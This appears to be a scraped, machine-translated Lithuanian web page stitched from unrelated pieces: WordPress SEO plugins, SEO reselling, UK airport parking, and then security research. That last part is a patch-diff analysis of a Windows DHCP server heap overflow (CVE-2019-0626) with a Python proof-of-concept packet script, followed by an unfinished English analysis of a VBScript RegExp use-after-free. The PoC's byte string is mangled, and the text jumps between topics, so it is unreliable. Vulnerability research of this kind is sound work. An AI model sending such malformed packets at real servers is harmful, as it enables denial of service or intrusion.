Yra daugybė „WordPress” SEO įskiepių ir gali būti sunku žinoti, kuriuos iš jų įdiegti. Toliau pateikiami keli geriausi „WordPress” SEO įskiepiai.
SEO paketai
Yra nemažai „WordPress” SEO įskiepių, kuriuose yra daug pritaikomų funkcijų:
Vienas žinomiausių „WordPress” SEO įskiepių, kuris atlieka po truputį viską ir gali būti naudojamas „iš dėžutės”. Yra mokama versija, skirta SEO profesionalams.
FV All In One SEO Pack – supaprastinta pirmiau minėto įskiepio versija su supaprastinta sąsaja.
Platinum SEO Pack – pagrįstas All in One SEO Pack, tačiau labiau išplėstinis.
Headspace2SEO – Galingas įskiepis, skirtas meta duomenims tvarkyti ir įvairioms SEO užduotims atlikti.
SEO Ultimate WordPress Plugin – „viskas viename” įskiepis su daugybe galingų funkcijų.
Greg’s High Performance SEO – daug funkcijų, dėl kurių nereikia naudoti kai kurių toliau nurodytų įskiepių.
Aukščiau pateiktas sąrašas nėra baigtinis ir vis atsiranda naujų daugiafunkcinių „WordPress SEO” įskiepių. Taigi, kurį įdiegti? Pirma, būkite atsargūs diegdami įskiepius, kurie vis dar yra beta versijoje, antra, nuspręskite, kiek norite įsitraukti į SEO paslaugas .
Jei nesate tikri, „All In One SEO Pack” yra geras atspirties taškas. Jis yra labai populiarus, tai rodo ir pažangesni įskiepiai, suteikiantys perėjimo kelią.
Kiti WordPress SEO įskiepiai
Jei šių įskiepių funkcijos neįtrauktos į jūsų SEO paketo įskiepį, naudingi šie įskiepiai:
„Google XML Sitemaps” – generuoja svetainės žemėlapį, kurį palaiko „Google”, „Bing” ir „Yahoo”. Leidžia paieškos sistemoms greitai rasti ir indeksuoti turinį.
SEO Slugs – paprastas įskiepis, kuris pašalina dažniausiai pasitaikančius žodžius iš slugs (failų pavadinimų). URL adresus padaro patogesnius paieškos sistemoms.
SEO Smart Links – Automatiškai generuoja vidines ir išorines nuorodas jūsų turinyje (išorinės nuorodos gali būti nesekamos). Tokios nuorodos padidins jūsų puslapio SEO.
SEO draugiški paveikslėliai – automatiškai atnaujina visus paveikslėlius su tinkamais ALT ir TITLE atributais. Tai gali būti labai naudinga SEO tikslais.
WP-Super-Cache – pagreitina puslapių pateikimą, nes turi statinę kopiją, kad būtų išvengta duomenų bazės skambučių. Svarbu, nes lėtas puslapių įkėlimas neigiamai veikia paieškos sistemų pozicijas.
Peradresavimas – tvarko 301 nukreipimą ir stebi 404 klaidas, kurias galima nukreipti.
SEOPressor – analizuoja puslapius ir pranešimus ir pateikia turinio optimizavimo ataskaitas su rekomendacijomis. SEO tikslais labai svarbu, kad paieškos sistemos matytų, jog jūsų turinys yra labai tinkamas tiksliniams raktažodžiams.
Galbūt recesija ir baigėsi, tačiau nedarbas tebėra daugelio žmonių problema. Daugelis įmonių vis dar stengiasi atsistoti ant kojų. Kai kuriose vietovėse galima pamatyti tuščias biurų patalpas, kuriose kadaise klestėjo sėkmingos įmonės. Yra net tokių įmonių, kurios nusprendžia atidėti veiklos atnaujinimą neribotam laikui, nes šioje pramonės šakoje sėkmės garantijos yra menkos arba jų nėra. Neseniai prasidėjusio ekonominio nuosmukio padariniai tikrai dar nesibaigė.
Recesija taip paveikė visuomenę, kad daugelis žmonių atsidūrė gerų, gerai apmokamų darbų paieškose. Laisvų darbo vietų darbo rinkoje yra, tačiau ne visi darbai yra patikimi nuolatinių pajamų šaltiniai. Daugeliui žmonių norisi realių pajamų gavimo galimybių, nesvarbu, ar tai būtų darbas, ar pradedamas verslas.
Tačiau kodėl yra žmonių, kurie, atrodo, uždirba didelius pinigus nepaisant nuosmukio?
Atsakymas slypi SEO. Paieškos sistemų optimizavimas suteikė puikių galimybių žmonėms, kurie kurį laiką buvo bedarbiai. Nors daugelis interneto verslų užsidarė ir jiems taip ir nepavyko sugrįžti, SEO pramonė išlieka stipri. Ekonomikos nuosmukio metais SEO daugeliui žmonių ir įmonių tapo priemone išgyventi. Daugelis nusprendė optimizuoti savo svetaines ne tik tam, kad pateisintų savo egzistavimą, bet ir tam, kad pasiektų daugybę interneto vartotojų. Įmonių savininkai samdė SEO paslaugas dėl SEO gebėjimo iškelti verslą į viršų. Pasibaigus nuosmukiui, puikūs SEO rezultatai pasklido po visą internetą ir iš lūpų į lūpas, ir SEO pamažu tapo populiaresnis nei kada nors anksčiau. Didelė SEO paslaugų paklausa lėmė tiek SEO paslaugų teikėjų, tiek perpardavinėtojų sėkmę, kuri net ir ekonomikai kenčiant virto pelnu.
SEO paslaugų teikėjai
SEO perpardavėjo verslas gimė dėl SEO populiarumo. SEO paslaugų teikėjai norėjo, kad jų paslaugos pasiektų platesnę rinką, todėl samdė lauko tarpininkus, vadinamus perpardavėjais. Gimė naujas verslo ženklas, kuriame įmonės daugiausia dėmesio skyrė tik SEO perpardavimui. O kadangi konkurencija tapo vis didesnė, jos varžėsi naudodamos įvairius SEO perpardavėjų planus, kurie buvo pateikiami skirtingais paketais.
White Label SEO atrakina duris bedarbiams. SEO paslaugos bendrovės pasiūlė programą, pagal kurią žmonės galėjo prisijungti prie verslo be nario mokesčio. Geros SEO bendrovės atvėrė šią galimybę pristatyti ir pasidalyti savo sėkme su kitais, kad daugiau žmonių galėtų išgyventi ekonominę problemą ir įveikti didėjantį nedarbo lygį.
SEO populiarumo priežastis
SEO, kaip verslas, skirtas visoms nišoms. Jis neapsiriboja tam tikra tiksline rinka, nes gali prisitaikyti prie beveik visų pramonės šakų poreikių. SEO procesas gali būti naudingas visoms įmonėms, net ir pačioms SEO įmonėms. SEO egzistuoja tam, kad padidintų verslo sėkmę, nes įmonę pastebi milijonai interneto vartotojų visame pasaulyje. Naudojant tinkamus metodus, SEO gali paversti šiuos interneto vartotojus vartotojais, kurie palaikys įmonės produktus ir paslaugas.
Nedarbas išlieka net ir tada, kai SEO ir SEO perpardavimas auga. Daugelis vis dar abejoja SEO pramone, o kai kurie apie ją nežino. SEO yra skirtas visiems, bet ne tiems, kurie atsisako jo mokytis iš visos širdies, tiems, kurie abejoja jo galimybėmis, ir tiems, kurie mano, kad tai tik pinigų uždirbimo schema. SEO sėkmės nuosmukio ir ekonominių sunkumų įkarštyje priežastis – SEO paslaugų teikėjų ir perpardavėjų aistra ir atsidavimas.
Dėl didelių oro uostų taikomų automobilių stovėjimo mokesčių ne oro uoste veikiančių automobilių stovėjimo aikštelių operatoriai buvo skatinami steigtis nepaisant to, kad turėjo padengti papildomas išlaidas, susijusias su klientų pervežimu į oro uostą 7 dienas per savaitę 24 valandas per parą.
Pradžioje daugelis tokių aikštelių buvo tiesiog žemės sklypai šalia oro uosto su tvoromis, tačiau dabar šios veiklos yra daug profesionalesnės ir keliautojams rekomenduočiau naudotis tik Vyriausiųjų policijos pareigūnų asociacijos patvirtintomis aikštelėmis. 1992 m. jie pradėjo įgyvendinti Saugių automobilių stovėjimo aikštelių schemą, kurios tikslas – pagerinti saugumo standartus ir sumažinti automobilių vagysčių skaičių visoje Jungtinėje Karalystėje.
Tačiau atsakingi oro uostų automobilių stovėjimo aikštelių operatoriai šią schemą suprato kaip būdą išsiskirti iš kitų oro uostų automobilių stovėjimo aikštelių ir, nepaisant išlaidų, patiriamų atnaujinant automobilių stovėjimo aikštelę, kad ji atitiktų griežtus standartus, laikui bėgant atgauti šias išlaidas. Be to, nusikaltėliai ieškotų lengvesnių automobilių vagysčių.
Kiekviena policija turės savo specialų vertintoją, kuris kasmet aplankys kiekvieną operaciją ir patikrins šias sritis:
o ribas ir perimetrą
o Nusikaltimų registravimas ir statistika
o Apšvietimas
o valdymo praktika
o Automobilių stovėjimo aikštelės
o Pėsčiųjų prieigos
o Ženklinimas
o Stebėjimas
o Transporto priemonių patekimas
Apima ne tik saugumo aspektus, bet ir klientų saugumą, kuriam užtikrinti reikia aiškių ženklų, kad įvažiuojantys ir išvažiuojantys automobiliai kuo labiau sumažintų galimų nelaimingų atsitikimų skaičių. Atsižvelgiant į tai, visos zonos turi būti gerai apšviestos ir prižiūrimos 24 valandas per parą.
kuri nuo 1989 m. teikia automobilių stovėjimo aikštelių paslaugas visuose Jungtinės Karalystės oro uostuose, savininkas. Už oro uosto ribų esančiose automobilių stovėjimo aikštelėse galima sutaupyti iki 50 %, o kadangi vis daugiau keliautojų renkasi šį variantą, rekomenduojama iš anksto užsisakyti vietas, kad gautumėte geriausią kainą ir išvengtumėte stovėjimo oro uoste, kur kainos yra pernelyg didelės.
JK oro uostuose labai išaugo, nes oro uostų o
Per pastaruosius kelerius metus automobilių stovėjimo kaina JK oro uostuose labai išaugo, nes oro uostų operatoriai, netekę pelningos neapmuitinamų prekių rinkos, siekia padidinti pajamas. Tai ypač aktualu Gatviko, Hitrou, Mančesterio ir Glazgo oro uostuose. Automobilių stovėjimo oro uoste kainą galima gerokai sumažinti, jei iš anksto užsisakysite automobilių stovėjimo aikštelę, ir tai visada rekomenduojama daryti.
Verslininkams, turintiems mažai laiko, oro uosto automobilių stovėjimo aikštelės visada buvo priimtiniausias variantas, nes trumpiau užtrukdavo pervežimas iki terminalo, tačiau dėl kreditų krizės visos įmonės žiūri į sąnaudas, o ne oro uosto automobilių stovėjimo aikštelė gali padėti sutaupyti nemažai lėšų įmonei, kurios kelionių biudžetą reikia mažinti.
Reguliariai keliaujantiems asmenims taip pat verta susisiekti tiesiogiai su automobilių stovėjimo aikštele ir sužinoti, ar jie nesusitars dėl metinės sutarties.
Jei automobilių stovėjimo aikštelė skirta dviem savaitėms, paprastai reikia būti 15 dienų arba dėl laiko 16 dienų. Automobilių stovėjimo išlaidos gerokai padidins jūsų atostogų ar verslo kelionės išlaidas, todėl reikia skirti laiko galimoms galimybėms apsvarstyti. Svarbiausias veiksnys – bendrauti su ilgametę patirtį turinčiomis bendrovėmis ir užsisakyti automobilių stovėjimo aikštelę kuo anksčiau.
Automobilių stovėjimo aikštelių pasirinkimo galimybės ir klausimai, į kuriuos reikia atsižvelgti.
– Automobilių stovėjimo aikštelė oro uoste. Visada ieškokite išankstinio užsakymo, nes prie vartų kaina bus gerokai didesnė.
– Už oro uosto ribų esančios automobilių stovėjimo aikštelės paprastai yra pigesnės, tačiau paprastai jos būna pilnos, todėl rekomenduojama iš anksto rezervuoti vietas, kad būtų garantuota vieta, ypač sezono piko metu ir švenčių dienomis. Rinkdamiesi stovėjimo aikštelę ne oro uoste, atsižvelkite į pervežimo į oro uostą laiką.
– Pasitikimas, kai atvykus į oro uostą ir grįžtant jus pasitiks oro uoste, o jūsų automobilis bus nugabentas į saugomą stovėjimo aikštelę, kol būsite išvykę. Tai brangiausia automobilių stovėjimo oro uoste forma, tačiau greičiausia, nes nereikia persikelti į terminalus.
– Įsitikinkite, kad automobilių stovėjimo aikštelė yra patvirtinta pagal „Parktronikus” saugaus parkavimo schemą Pagal šią schemą esančios automobilių stovėjimo aikštelės kasmet tikrinamos, siekiant patikrinti aptvėrimą, vaizdo stebėjimo kameras, apšvietimą ir apsaugos darbuotojus.
Laikas, sugaištas renkantis tinkamą automobilių stovėjimo aikštelę, atitinkančią jūsų biudžetą ir asmeninius reikalavimus, visada yra gerai praleistas laikas, kad atostogos prasidėtų ramiai.
Autorius yra „Flypark”, kuri nuo 1989 m. teikia automobilių stovėjimo aikšteles oro uostuose ir oro uostų viešbučiuose, savininkas ir yra viena iš labiausiai įsitvirtinusių interneto bendrovių šioje srityje.
Per pastaruosius kelerius metus labai padaugėjo keliautojų, kurie renkasi viešbučio oro uoste automobilių stovėjimo aikštelę, kad atostogos prasidėtų be rūpesčių. Norėdami palyginti oro uosto automobilių stovėjimo aikštelės ir apsistojimo oro uosto viešbutyje su automobilių stovėjimo aikštele kainas, eikite į
Šiandien aš išsamiai parašysiu CVE-2019-0626 ir kaip jį rasti. Kadangi ši klaida egzistuoja tik „Windows Server“, naudosiu „Server 2016 VM“ (atitinkama pataisa yra KB4487026).
Pastaba: šios klaidos neradau aš, ją sukūriau iš 2019 m. vasario mėn. saugos pataisos.
Dvejetainis palyginimas
Atlikau BinDiff palyginimą tarp dhcpssvc.dll versijų prieš pataisą ir po jos. Žemiau matome, kad pasikeitė tik 4 funkcijos (panašumas <1.0).
Dhcpssvc.dll BinDiff palyginimas prieš ir įdiegus pataisą.
Pirmoji funkcija, kurią nusprendžiau pažvelgti, buvo „UncodeOption“. Mano samprotavimas yra toks, kad atrodo, kad tai kažkoks dekoderis, kuris yra dažna klaidų vieta.
Dukart spustelėjus tikslinę funkciją, rodomos dvi greta esančios srauto diagramos. Pradinė funkcija yra kairėje, o atnaujinta – dešinėje. Kiekvienas grafikas padalins funkcijas į loginius surinkimo kodo blokus, panašiai kaip IDA „grafiko vaizdas“.
Žalieji blokai yra vienodi abiejose funkcijose.
Geltonieji blokai turi tam tikrą instrukcijų variantą tarp funkcijų.
Pilkuose blokuose yra naujai pridėtas kodas.
Raudonuose blokuose yra pašalintas kodas.
Funkcijų valdymo srauto palyginimas
Anot BinDiff, buvo keli kvartalai modifikuotas. Įdomiausia, kad yra dvi kilpos, kurios abi dabar turi naują kodo bloką. papildomi blokai gali būti jei teiginiai, kuriuose yra papildomų sveikumo patikrinimų; tai atrodo gera vieta pradėti.
Nors BinDiff galima atlikti daugiau analizės, manau, kad sąsaja yra per sudėtinga. Manau, kad jau turiu visą reikalingą informaciją, todėl laikas pasinerti į IDA.
Kodo analizė
Jei turite pilną IDA versiją, galite naudoti dekompiliatorių, kad išvengtumėte surinkimo kodo ieškojimo. Dauguma klaidų bus matomos aukštu lygiu, tačiau labai retais atvejais gali tekti palyginti kodą surinkimo lygiu.
Dėl to, kaip veikia IDA dekompiliatorius, galite rasti pasikartojančių kintamųjų. Pavyzdžiui, „v8“ yra „a2“ kopija, tačiau nė viena reikšmė niekada nekeičiama. Kodą galime išvalyti dešiniuoju pelės mygtuku spustelėdami „v8“ ir pasirinkę susiejimą su kitu kintamuoju. „v8“ susiejant su „a2“, visi „v8“ atvejai bus pakeisti „a2“. Pakartojus visų nereikalingų pasikartojančių kintamųjų atvaizdus bus lengviau skaityti.
Čia yra vienas šalia kito esančio kodo palyginimas po valymo.
Šalutinis pataisytų ir nepataisytų funkcijų palyginimas.
Antrosios kilpos tipas (geltonas langelis) dabar yra „do while“, o ne „for“, kuris dabar atitinka pirmąją kilpą (ciklo formato pakeitimas gali paaiškinti daugumą geltonų blokų BinDiff). Svarbiausia, kad buvo pridėtas visiškai naujas sveiko proto patikrinimas (raudonas langelis). Mėlynoje dėžutėje esantis kodas taip pat buvo supaprastintas, dalis jo perkelta į kilpą.
Kitas mano žingsnis buvo išsiaiškinti, ką iš tikrųjų daro funkcija „UncodeOption“. Dešiniuoju pelės mygtuku spustelėjus funkciją ir pasirinkus „jump to xref…“, pateikiamas kiekvienos nuorodos sąrašas.
Nuorodų į UncodeOption sąrašas
Hmm… Visi „UncodeOption“ iškvietimai gaunami iš „ParseVendorSpecific“ arba „ParseVendorSpecific Content“. Tai veda mane į „Google“ „DHCP tiekėjo specifinis“.
„Google“ automatinis užbaigimas čia užpildė kai kuriuos tarpus. Dabar žinau, kad DHCP turi kažką vadinamo „pardavėjo konkrečiomis parinktimis“. Funkciją, pavadintą „UncodeOption“, iškviečia „ParseVendorSpecific“? Tam tikra prasme reiškia konkrečios pardavėjo parinkties dekodavimą. Taigi, kokia yra konkretaus pardavėjo parinktis?
Pardavėjo specifinės parinktys
Pirmasis „Google“ paieškos „DHCP tiekėjo specifinės parinktys“ rezultatas yra tinklaraščio įrašas, kuriame man pasakyta viskas, ką turėjau žinoti [1]. Labai naudinga, tinklaraščio įrašas paaiškina konkrečių pardavėjo parinkčių paketo formatą.
Formatas paprastas: 1 baito parinkties kodas, po kurio nurodomas 1 baito ilgio specifikacija, o po to – parinkties reikšmė. Dabar mums tereikia išsiųsti bandomąjį paketą.
Atsitiktiniame tinklaraštyje radau naudingą DHCP bandomąjį klientą [2]. Čia yra komandos pavyzdys.
Tai nustato konkrečios pardavėjo parinktį „labas pasaulis“. Dabar galime pamatyti, ar iškviečiamas „UncodeOption“.
Vykdymo laiko analizė
Bandydamas sumažinti kampus, nustatiau lūžio tašką „UncodeOption“. Išsiunčiau DHCP užklausą ir tikėjausi geriausio.
„IDA Pro“ atminties vaizdas
Nuostabu! Nukentėjo lūžio taškas. Atrodo, kad parametrus taip pat lengva suprasti.
RCX (1 argumentas) nurodo konkrečios tiekėjo parinkties pradžią.
RDX (2 argumentas) nurodo tiekėjo konkrečios parinkties pabaigą.
R8 yra 0x2B (pardavėjo pasirinkimo kodas).
Dabar dar kartą peržiūrėsiu dekompiliuotą kodą ir pridėsiu keletą aprašomųjų pavadinimų; Taip pat atspėjau keletą kintamųjų tipų. Konkrečių pardavėjo parinkčių formato žinojimas labai padeda.
Nepataisytas kodas po tam tikro pervadinimo
Kai kurie aprašomieji pavadinimai ir mano naujos žinios apie konkrečias pardavėjo parinktis padėjo suprasti kodą daug lengviau. Aš jį sulaužysiu.
Yra dvi kilpos (pradedant nuo 25 ir 44 eilutės).
Pirmoji kilpa
Gauna pasirinkimo kodą (1-asis parinkčių buferio baitas). Patikrinkite, ar parinkties kodas atitinka reikšmę, išsiųstą R8 (0x2B).
Gaukite parinkties dydį (2-asis parinkčių buferio baitas), tada prideda jį prie kintamojo, kurį pavadinau Reikalingas_size.
padidina buffer_ptr_1, kad nurodytų parinkčių buferio pabaigą.
Nutrūksta, jei naujas buferis_ptr_1 yra didesnis nei buferio pabaiga (buffer_end).
Baigiamas ciklas, jei „buffer_ptr_1 + parinkties dydis + 2” yra didesnis nei buffer_end.
Iš esmės kilpa gaus pasirinkimo vertės ilgį (mūsų atveju „labas pasaulis“). Jei buvo išsiųstos kelios konkrečios tiekėjo parinktys, ciklas apskaičiuos bendrą visų reikšmių dydį. Kintamasis „required_size“ naudojamas vėliau paskirstyti krūvos vietą.
Antroji kilpa
Gauna pasirinkimo kodą (1-asis parinkčių buferio baitas). Patikrinkite, ar parinkties kodas atitinka reikšmę, išsiųstą R8 (0x2B).
Gaukite pasirinkimo dydį (2-asis parinkčių buferio baitas).
Pridėkite parinkties reikšmę prie krūvos vietos (ty „hello world“), nukopijuodami baitų skaičių.
padidina buffer_ptr_2, kad nurodytų parinkčių buferio pabaigą.
Baigiamas ciklas, jei naujas buffer_ptr_2 yra didesnis nei buffer_end.
Kodo paskirtis
Funkcija įgyvendina tipinį masyvo analizatorių. Pirmoji kilpa nuskaitoma į priekį, kad būtų apskaičiuotas buferio dydis, reikalingas masyvo analizei. Tada antroji kilpa analizuoja masyvą į naujai paskirtą buferį.
Klaida
Pažvelgęs į dvi greta esančias kilpos versijas, kai ką pastebėjau.
Lyginimas vienas šalia kito (1 kilpa yra kairėje, 2 kilpa yra dešinėje)
Abi kilpos turi sąlygą, dėl kurios jos išeis, jei buferio rodyklė pasieks masyvo pabaigą (žalią dėžutę). Įdomu tai, kad 1 kilpa turi papildomą varnelę (raudonas langelis). 1 ciklas taip pat nutraukiamas, jei kitas masyvo elementas yra neteisingas (ty dėl jo dydžio rodyklė padidės po masyvo pabaigos). Logikos skirtumas reiškia, kad 1 ciklas patikrins kito masyvo elemento galiojimą prieš jį apdorodamas, o 2 kilpa nukopijuos elementą, tada išeis, nes buffer_ptr_2 yra didesnis nei buffer_end.
Kadangi 1 kilpa yra atsakinga už dydžio apskaičiavimą, paskirstytas buferis paskirs tik galiojančių masyvo elementų dydį. 2 ciklas prieš išeidamas nukopijuos visus galiojančius masyvo elementus, taip pat vieną netinkamą.
Taigi, kas būtų, jei atsiųstume šiuos dalykus?
Kenkėjiškų parinkčių masyvas
Dydžio skaičiavimo ciklas sėkmingai išanalizuoja pirmosios parinkties dydį (0x0B). Tada patvirtinamas kitos parinkties dydis. Atsižvelgiant į tai, kad po parinkties dydžio nėra 0xFF baitų, ji būtų laikoma negaliojančia ir į ją neatsižvelgta. Rezultatas būtų 0x0B (11 baitų) paskirstymo dydis.
Kopijavimo ciklas nukopijuos pirmosios parinkties reikšmę „hello world“. Antroje iteracijoje parinkties dydis nepatvirtintas. Kopijuojant prie buferio bus pridėta 255 baitai (0xFF). Iš viso 266 bus nukopijuoti į 11 baitų krūvos erdvę, perpildant ją 255 baitais.
Kad paskutinis elementas būtų laikomas negaliojančiu, tarp 2-osios parinkties ilgio ir buferio pabaigos turi būti mažiau nei 255 baitai (pasiekiama įdėjus kenkėjišką masyvą DHCP paketo pabaigoje).
Kai ką įdomaus reikia pastebėti: po paskutinės parinkties ilgio galime įrašyti bet kokį baitų skaičių, jei jis mažesnis nei 255. Mes galime perpildyti krūvą iki 254 baitų duomenų, kuriuos nurodome, arba iki 254 baitų bet kokio dydžio. po mūsų paketo krūvoje. Iš esmės galima skaityti ir rašyti už ribų (OOB).
Koncepcijos įrodymas
Kad patikrinčiau klaidą, turėjau sukurti kenkėjišką DHCP paketą. Pradėjau siųsti teisėtą DHCP paketą naudodamas dhcp testą, kurį užfiksavau naudodamas „WireShark“.
„WireShark“ rodomas DHCP paketas
Panašu, kad pardavėjo parinkčių buferis jau yra paketo pabaigoje, puiku! Aš tiesiog ištraukiau šešioliktainį kodą į python scenarijų ir sukūriau paprastą PoC.
Patarimas: galite dešiniuoju pelės mygtuku spustelėti stulpelį „Bootstrap Protocol“, tada pasirinkti „Copy“, tada „..As Escaped String“.
from socket import *
import struct
import os
dhcp_request = (
"x01x01x06x00xd5xa6xa8x0cx00x00x80x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x63x82x53x63"
"x35x01x01x2bx0bx68x65x6cx6cx6fx20x77x6fx72x6cx64xff"
)
dhcp_request = dhcp_request[:-1] #remove end byte (0xFF)
dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
dhcp_request += "A"*254 #254 bytes of As
dhcp_request += struct.pack('=B', 0xFF) #packet end byte
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
s.bind(('0.0.0.0', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode
s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67
Tada prie svchost proceso, kuriame yra dhcpssvc.dll, pridėjau derintuvą ir nustatiau kai kuriuos lūžio taškus. Vienas lūžio taškas yra „HeapAlloc“, o kitas – po kopijavimo ciklo. Dabar siunčiu savo kenkėjišką DHCP paketą.
„HeapAlloc“ lūžio taškas pasiektas
„HeapAlloc“ lūžio taške matote, kad paskirstymo dydis yra 0x0B (pakanka vietos tiesiog „labas pasaulis“). Įdomu, kas atsitiks, kai vėl spustelėjame paleisti?
lūžio taško smūgis po kopijavimo
Oi! Analizatorius nukopijavo „hello world“ ir 254 baitus „A“ į tik 11 baitų dydžio krūvą. Tai tikrai perpildymas, bet neturėtume tikėtis gedimo, nebent perrašytume ką nors svarbaus.
Išnaudojamumo svarstymai
Krūvos perpildymai dažnai gali būti panaudoti norint gauti nuotolinį kodo vykdymą (RCE); tačiau pirmiausia reikia įveikti kai kurias kliūtis. Bėgant metams „Microsoft“ palaipsniui įdiegė naujas švelninimo priemones, sumažindamas krūvos perpildymo išnaudojimą. Apibendrinsiu kai kurias svarbias švelninimo priemones, tačiau išsamesnį aprašymą galite pamatyti „TechNet“. [3][4].
„Windows Vista“ ir naujesnės versijos
Dauguma bendrųjų krūvos perpildymo atakų remiasi krūvos metaduomenų klastojimu, siekiant įgyti savavališkas rašymo arba vykdymo galimybes (primityvus). Deja, „Windows Vista“ pridėjo krūvos metaduomenų kodavimą ir patikrinimą. Dabar metaduomenų laukai yra XOR su raktu, o tai labai apsunkina modifikaciją.
Neturėdami galimybės suklastoti krūvos metaduomenų, užpuolikai turi sutelkti dėmesį į pačių krūvos duomenų perrašymą. Vis tiek galima perrašyti objektus, saugomus krūvoje, pvz., klasės egzempliorių; jie gali pateikti tuos pačius primityvus kaip ir metaduomenų klastojimas.
„Windows 8“ ir naujesnės versijos
Paskirstymai, mažesni nei 16 368 baitai, yra vadinami mažo fragmentavimo krūva (LFH). „Windows 8“ prideda LFH paskirstymo atsitiktinių imčių, todėl paskirstymo tvarka tampa daug mažiau nuspėjama. Nesugebėjimas kontroliuoti, kur yra skirtas objektas, perrašymas tampa azartišku žaidimu; tačiau vis dar yra vilties.
Jei objekto paskirstymas yra kontroliuojamas užpuoliko, galima priskirti šimtus kopijų, padidinant sėkmingo perrašymo tikimybę. Žinoma, jūs turite rasti tokį objektą ir jis turi būti naudojamas.
Išvada
Negalėjau skirti tiek laiko šiai klaidai, kiek norėčiau, ir dar turiu rasti RCE metodą naujesnėms sistemoms. Iki šiol pastebėjau keletą TCP sąsajų, kurios gali leisti geriau valdyti krūvą. Darant prielaidą, kad nieko įdomesnio neatsiras, galbūt prie to grįšiu ateityje.
Nuorodos
„Microsoft“ tiekėjui būdingos DHCP parinktys paaiškintos ir demistifikuotos https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/
Šiandien, per RSA konferenciją, Nacionalinė saugumo agentūra išleido savo labai populiarią Ghidra atvirkštinės inžinerijos priemonių rinkinį. Apibūdinta kaip „programinės įrangos atvirkštinės inžinerijos (SRE) įrankių rinkinys“, „Ghidra“ skambėjo kaip kažkokia išmontavimo sistema. Prieš išleidžiant tikėjausi daugiau nei „Binary Ninja“, bet trūko derinimo programos. Maniau, kad įrankių rinkinys būtų idealus tiems, kurie domisi atbuline eiga, bet kuriems trūksta finansavimo IDA licencijai gauti.
Akivaizdu, kad bus daug sąmokslų, susijusių su paleidimu. Jau mačiau daug nepagrįstų teiginių, kad Ghidra yra NSA užpakalinės durys. Manau, kad šis įrankis yra tiesiog investicija į ateities kartą. Suteikdami įrankius ir žinias, kurių reikia norint paskatinti žmonių domėjimąsi, pagerinate bendrą talentą. Daugiau talentų lems aukštesnės kokybės kandidatus į darbą, o tai gali sumažinti NSA įgūdžių trūkumą; GCHQ jau kurį laiką naudoja panašius metodus.
Anyone who uses RegEx knows how easy it is to shoot yourself in the foot; but, is it possible to write RegEx so badly that it can lead to RCE? With VB Script, the answer is yes!
In this article I’ll be writing about what I assume to be CVE-2019-0666. The March 2019 security patch fixes multiple bugs in the same code, so the CVE number is uncertain.
Note: this bug was not found by me, I reverse engineered it from the March 2019 security patch.
Binary Comparison
Running a BinDiff between the pre and post patch VBScript.dll, we can see only a few changes are returned.
Difference between VBScript before and after installing the latest patch.
The two changes in the RegExp class caught my eye. It’s easy to see how a bug could occur in something as complex as a RegEx parser. Let’s start here.
RegExp::AddRef
Old AddRef on the left, updated one on the right.
This change is very simple, but requires an understanding of reference tracking:
A reference to an object is created: the reference counter is incremented by 1.
A reference to an object is deleted: the reference counter is decremented by 1.
The reference counter reached 0: object can be deleted.
Reference tracking is designed to prevent deallocation of in-use objects (use-after-free). An object will should never be deleted until all its’ references destroyed.
The updated function causes the interpreter to exit if the reference count increments above 0x7FFFFFFF (the highest value of a signed integer). The reason for the update is to prevent a potential integer overflow.
Theoretically, by creating enough references, one could loop the reference counter back around to zero. Once the counter is zero, the object could be freed while references still exist.
In reality, to cause an integer overflow we’d have to create 4,294,967,296 references. Optimistically assuming a single reference is only 4 bytes, that’d require use around 17 GB of RAM. Though, we’d hit the interpreter memory limit long before.
Alone, this bug is not a threat; however, in combination with another bug it could lead to use-after-free (UAF). For example: a reference leak.
RegExpExec::ReplaceUsingCallable
Note: this function is too large to embed in full, so I’ve just pulled out only the relevant changes.
Change 1: the beginning of RegExpExec::ReplaceUsingCallable.
The code now creates a copy of the memory pointed to by a6 (argument 6). To understand the reasoning for this, let’s look at the next modification.
Change 2: somewhere in the middle of RegExpExec::ReplaceUsingCallable.
The old code verified that a6 pointed to Buf1. Now there exists an additional check comparing Buf1 with the copyof *a6 made earlier (Buf2).
The very existence of code validating that a6 points to Buf1 tells us something important: a6 should point to Buf1, but there’s a possibility it might not. Furthermore, the new check implies it may be possible to change Buf1 between the first and 2nd call to Exec.
Already, I’m fairly sure we’re looking for a use-after-free. The update is now verifying that a6 still points to Buf1, and that Buf1’s content hasn’t changed.
There’s a logical reason these two checks would co-exist: Buf1 is some allocated memory, which can be freed during the call to ReplaceUsingCallable(). Assume Buf1 was freed, and something else was allocated in its’ place: *a6 would still point to Buf1, but Buf1 would now contain different data. Now the code has been patched to also validate Buf1 remains unchanged.
To understand the patched bug more, we need to understand RegExp.
RegExp has a replace function which replaces one or more matches of a given pattern with a given value. Take this code for example:
Set regex = New RegExp
regex.Pattern = "a"
regex.Global = False
MsgBox regex.replace("aaa", "b")
The above code would replace the first instance of “a” in the string “aaa” with “b”; therefore, MsgBox would output “baa”. Stepping through the call, I found that internally the replace() method calls ReplaceUsingString(). We need to get to ReplaceUsingCallable(), and I’m pretty sure i know how.
ReplaceUsingCallable
As the name implies, we can probably call replace() using a callable objected as a parameter. I did some more digging to figure out how [1].
The following code does the same as the previous version, but invokes ReplaceUsingCallable() instead.
